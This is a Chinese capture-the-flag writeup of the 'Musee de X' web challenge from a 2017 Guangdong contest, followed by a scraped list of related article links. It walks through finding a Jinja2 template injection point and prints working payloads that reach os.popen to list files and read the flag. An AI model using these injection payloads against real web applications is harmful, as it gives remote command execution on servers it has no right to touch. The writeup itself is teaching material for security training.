2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)
解题思路
拿到手上,有四个页面

首先按照题目要求执行,尝试注册一个名为admin的账户

这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了
回到初始界面,点击链接here

有一个捐赠界面,让我们输入捐赠的地址和名字

下面的collection de musee代表它是一个收藏馆,也不知道捐什么,就随意捐一个,比如baidu.com

可以看到是有报错的,为了让报错全部显示,建议直接使用“查看页面源代码”
像这种东西,就无不暗示着你,是可能有SSTI漏洞的

按照正常方法,直接crtl+F搜索render,看看有没有SSTI注入点

可以看见,text的变量是有着jinja2的注入点的,所以我们寻找text这个指向的是什么就可以找到注入点了。
通过审查html,可以发现,我们所指的text表示的是name

所以我们需要将这个注入进去就可以了
如何注入呢,就是刚刚的注册页面,刚刚发现我们注册之后会在服务器端生成一个为注册名的目录,所以,只要将payload作为用户名注入即可
构造payload,先查看目录,确定flag的文件名(flag*一步到位也不是不可以)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}
可以在这个payload前面添加你自己喜欢的用户名,当然不加也可以
然后我们捐献的是一张纯黑色的图片(也可以上传别的图片,但是最后发现,还得上传纯黑的图片才看得清楚)
http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg


构造payload
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat flag*").read()')}}
#或者网上给的
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}
flag就出来了

再次注入的时候仍然需要添加新的用户,否则会被判为被黑
总结
| 问题 | 方法 |
|---|---|
| 服务器端模板注入的寻找方法 | 就是看除了PHP以外还有没有用别的语言写,常见的是python,如果能够找到一些源代码或者报错,搜索render,或许就能找到注入点 |
| 漏洞如何寻找 | 按照题目一步一步来做,顺着题目的意思进行,出现了报错或者源代码的出现是最好不过了 |
| payload的构造 | payload在主页里面有,payload可能会被过滤,这个题目简单,么有过滤payload,payload有很多种,也不止上面给的这一种 |
2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)的更多相关文章
- 2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)
目录 解题思路 总结 解题思路 拿到题目的时候,只有一个登录界面 拿到登录界面,而且还伴随着有注册界面,联想到SQL的二次注入漏洞 尝试注册admin'#,并使用admin登录,发现登录失败,说明可能 ...
- 2017第二届广东省强网杯线上赛--Nonstandard
测试文件:http://static2.ichunqiu.com/icq/resources/fileupload/CTF/echunqiu/qwb/Nonstandard_26195e1832795 ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 庞果英雄会第二届在线编程大赛·线上初赛:AB数
题目链接 给定两个正整数a,b,分别定义两个集合L和R, 集合L:即把1~a,1~b中整数乘积的集合定义为L = {x * y | x,y是整数且1 <= x <=a , 1 <= ...
- 2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 H题 Rock Paper Scissors Lizard Spock.(FFT字符串匹配)
2018 ACM-ICPC 中国大学生程序设计竞赛线上赛:https://www.jisuanke.com/contest/1227 题目链接:https://nanti.jisuanke.com/t ...
- 2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 F题 Clever King(最小割)
2018 ACM-ICPC 中国大学生程序设计竞赛线上赛:https://www.jisuanke.com/contest/1227 题目链接:https://nanti.jisuanke.com/t ...
- “玲珑杯”线上赛 Round #17 河南专场
闲来无事呆在寝室打打题,没有想到还有中奖这种操作,超开心的 玲珑杯”线上赛 Round #17 河南专场 Start Time:2017-06-24 12:00:00 End Time:2017-06 ...
- 2021广东省强网杯WriteUp
个人赛 网络诈骗 参考 https://github.com/Heyxk/notes/issues/1 先把EnMicroMsg.db提出来 CompatibleInfo.cfg是0kb,用第一种方法 ...
- 2017CUIT校赛-线上赛
2017Pwnhub杯-CUIT校赛 这是CUIT第十三届校赛啦,也是我参加的第一次校赛. 在被虐到崩溃的过程中也学到了一些东西. 这次比赛是从5.27早上十点打到5.28晚上十点,共36小时,中间睡 ...
随机推荐
- 堆排序——Java实现
一.堆排序 堆排序(Heap Sort)是指利用堆这种数据结构所设计的一种排序算法.堆是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点. 二.堆 什 ...
- CentOS8安装jdk1.8
安装方法 CentOS8上使用 yum 直接安装,环境变量自动配置好 查看是否已安装 看到下面结果,说明已经安装配置 jdk [root@iZ2ze8crquorxf6c7l0eluZ ~]# jav ...
- hdu1002 大数相加问题
这个题对于 几个月前的我简直是噩梦 好在磕磕绊绊终于写出来了 由于自己的问题 还被巨巨嘲讽了 1 1.#include<stdio.h> 2 2.#include<string. ...
- 基于mysql的sakila数据库脚本分析
本例是基于mysql的sakila数据库脚本的复杂查询分析,大家可以去mysql官网上下载此脚本:也可以进入我的资源页进行下载: 关系图如下: 下面是查询的案例: 1.查询某部电影的所属类别,语言 S ...
- php 字符串分割输出
分割字符串 //利用 explode 函数分割字符串到数组 复制代码代码如下:<?php $source = "hello1,hello2,hello3,hello4,hello5&q ...
- SpringMVC笔记(2)
一.SpringMVC的数据响应 1.1 数据响应方式 1.1.1 页面跳转 直接返回字符串 将返回的字符串与内部资源视图解析器的前后缀拼接 进行访问(默认为转发) 通过ModelAndView对象返 ...
- 整理之Activity
基础 生命周期 执行层次 进 退 创建与销毁 onCreate() onDestroy() 是否可见 onStart() onStop() 是否在前台(可交互) onResume() onPause( ...
- sublime text 3 中文排序插件
ST3 的排序不支持中文按拼音排序,所以需要搞一个插件来支持这一特性 pypinyin 这个库可以把中文转成拼音,可惜不支持 python3.3,而 ST3 内置的 python 就是 3.3 我系统 ...
- Excel vba call Python script on Mac
How can I launch an external python process from Excel 365 VBA on OSX? It took me a while, but I fig ...
- WEB漏洞——SQL
由于我的博客是学到渗透的时候才做的,没有关于WEB漏洞的笔记,现在发现WEB层面的漏洞有些不太熟悉了,边写一下笔记边复习一下,就从sql注入开始吧 话不多说先上大佬写的表[ctfhub]SQL注入 - ...
